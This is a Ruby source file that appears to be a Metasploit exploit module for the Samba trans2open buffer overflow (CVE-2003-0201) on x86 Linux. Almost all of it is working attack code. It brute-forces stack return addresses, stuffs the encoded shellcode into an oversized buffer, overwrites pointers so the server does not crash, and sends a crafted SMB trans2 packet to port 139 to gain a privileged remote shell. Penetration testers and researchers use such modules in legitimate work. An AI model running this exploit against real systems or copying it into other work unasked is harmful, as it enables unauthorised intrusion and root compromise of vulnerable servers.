157 lines
4.8 KiB
Ruby
157 lines
4.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::SMB::Client
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba trans2open Overflow (Linux x86)',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the flaw on x86 Linux systems that do not
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have the noexec stack option set.
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NOTE: Some older versions of RedHat do not seem to be vulnerable
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since they apparently do not allow anonymous access to IPC.
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},
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'Author' => [ 'hdm', 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2003-0201' ],
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[ 'OSVDB', '4469' ],
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[ 'BID', '7294' ],
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[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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'StackAdjustment' => -3500
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},
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'Platform' => 'linux',
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'Targets' =>
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[
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# tested OK - jjd:
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# RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc
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# RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc
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[ 'Samba 2.2.x - Bruteforce',
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{
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'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
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'Offset' => 1055,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffdfc },
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'Stop' => { 'Ret' => 0xbfa00000 },
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'Step' => 256
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}
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 7 2003'
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))
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register_options(
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[
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Opt::RPORT(139)
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], self.class)
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end
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def brute_exploit(addrs)
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curr_ret = addrs['Ret']
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begin
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print_status("Trying return address 0x%.8x..." % curr_ret)
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connect
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smb_login
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if ! @checked_peerlm
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if smb_peer_lm !~ /samba/i
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fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")
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end
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if smb_peer_lm =~ /Samba [34]\./i
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fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
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end
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end
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@checked_peerlm = true
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# This value *must* be 1988 to allow findrecv shellcode to work
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# XXX: I'm not sure the above comment is true...
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pattern = rand_text_english(1988)
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# See the OSX and Solaris versions of this module for additional
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# information.
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# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
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# (rpmbuild -bp ; edited/reran config.status ; make)
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eip_off = target['Offset']
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ptr_to_non_zero = target['PtrToNonZero']
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# Stuff the shellcode into the request
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pattern[0, payload.encoded.length] = payload.encoded
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# We want test true here, so we overwrite conn with a pointer
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# to something non-zero.
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#
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# 222 if (IS_IPC(conn)) {
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# 223 return(ERROR(ERRSRV,ERRaccess));
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# 224 }
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pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')
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# We want to avoid crashing on the following two derefences.
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#
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# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
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# 117 {
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# 118 int outsize = set_message(outbuf,0,0,True);
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# 119 int cmd = CVAL(inbuf,smb_com);
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pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
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pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')
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# This stream covers the framepointer and the return address
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#pattern[1199, 400] = [curr_ret].pack('N') * 100
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pattern[eip_off, 4] = [curr_ret].pack('V')
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trans =
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"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
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"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
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pattern
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# puts "press any key"; $stdin.gets
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sock.put(trans)
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handler
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rescue ::EOFError
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rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError
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raise $!
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rescue ::Exception => e
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print_error("#{rhost} #{e}")
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end
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handler
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disconnect
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end
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end
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